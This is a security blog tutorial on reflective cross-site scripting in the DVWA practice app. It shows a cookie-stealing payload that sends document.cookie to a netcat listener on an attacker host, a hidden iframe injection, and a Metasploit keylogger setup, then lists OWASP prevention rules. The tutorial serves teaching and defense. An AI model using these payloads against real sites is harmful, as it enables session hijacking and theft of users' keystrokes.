In this post, we take a look at Cross Site Scripting (XSS) and some of the things we can do via a web application as a result of this vulnerability.
XSS is a vulnerability found in web applications which aims to take advantage of the trust a user has with a specific website and is caused by injecting malicious scripts into a web site. There are basically 3 classes of XSS. These are reflective, stored and Document Object Model (DOM) Based. Reflective and Stored XSS are server side related while DOM based is client (browser) side issue. Regardless of the type, the code originates at the server. With reflective/stored, the code is injected in the browser during server side processing of requests. For DOM based, the malicious code is injected in the client directly during runtime.
In this post, we will leverage reflective XSS vulnerability in Dam Vulnerable Web App (DVWA) to perform the following three tasks.
- Steal Cookies
- embed information from another site in the vulnerable XSS page
- key logger
Let's first test the page to confirm the XSS vulnerability exists by using "<script>alert('Vulnerable to XSS')</script>"
Once we click "submit" we get ...
Good stuff! Looks like the page is vulnerable to XSS. Let's now look into addressing our tasks from above.
First up let's steal the cookies
To achieve this we will first setup a host to receive the cookie. To do this let's leverage “netcat”.
Let's setup our netcat listener
root@securitynik:~# nc -l -p 80 -v -n
-l - use listening mode (Basically operate like a server and listen for incoming connections)
-p 80 - listen on port 80
-v - be verbose
-n - Don't perform hostname lookup
Let's assume we manage to get to execute the following link within the user's session "<script>window.location='http://10.0.0.101/stealCookie.txt?'+document.cookie</script>"
Then as we look at our listening host, we see the host's request comes through with the information we need.
Now that we have this cookie we can look to the next post for how we can use this to perform session hijacking in which we use the user’s cookie to perform actions on their behalf from another device.
Embedding Information in a web page
Let's now look at embedding information in a web page via an "iframe."
In this case, let's load a document from my blog into this page using
"<iframe src="https://securitynik.blogspot.com" ></iframe>"
Once the script is executed, we see the image below, which includes the embedded website.
Now, while what was just done may be helpful in defacing a website, it really is probably not what an attacker who has malicious intent would do. That malicious attacker would probably do something like:
"<iframe src="https://securitynik.blogspot.com" width=0 height=0></iframe>".
Note in this case there is the height and width specified.
Once executed we see ...
Looking at the screenshot it does not look much different from what was done before. However, the iframe has basically been injected. If you look closely, next to the "Hello" there seems to be a “dot”. That's the evidence that the iframe has been injected in this example.
Let's now leverage XSS vulnerabilities as a keylogger.
Now that we have Metasploit running at "http://10.0.0.101:8080/rcBepZpS" let's append "/securityNik.js" to the link. As a result our injected script looks like
When we add this to the page and the page is returned it looks like nothing happened.
However, if we were to start typing within the input box, we see the following at our Metasploit console:
As we can see above, this information is being written to the file system. Looking below we see some of these files.
Below we see a snapshot of the contents of one of these files. Basically our keystrokes are being logged.
How to avoid or having your site vulnerable to XSS?
Newer browsers have mitigation techniques to assist for XSS. As a result, keeping your browsers updated should help tremendously. Additionally, OWASP provides the following guidance on how to avoid this vulnerability. For reflective and stored XSS the guidance is to perform appropriate validation and escaping on the server side.
While you can use HTML entity encoding for untrusted data that goes in the body of the HTML document, this does not not work when data is placed inside the "<script>" tag. OWASP also states "You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into."
The following prevention rules should also be implemented.
- Don't allow untrusted data in your HTML document, unless it is in an allowed location.
- HTML Escape Before Inserting Untrusted Data into HTML Element Content
- Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
- HTML escape JSON values in an HTML context and read the data with JSON.parse
- CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values
- URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values
- Sanitize HTML Markup with a Library Designed for the Job
- Use HTTPOnly cookie flag
- Implement Content Security Policy
- Use an Auto-Escaping Template System
- Use the X-XSS-Protection Response Header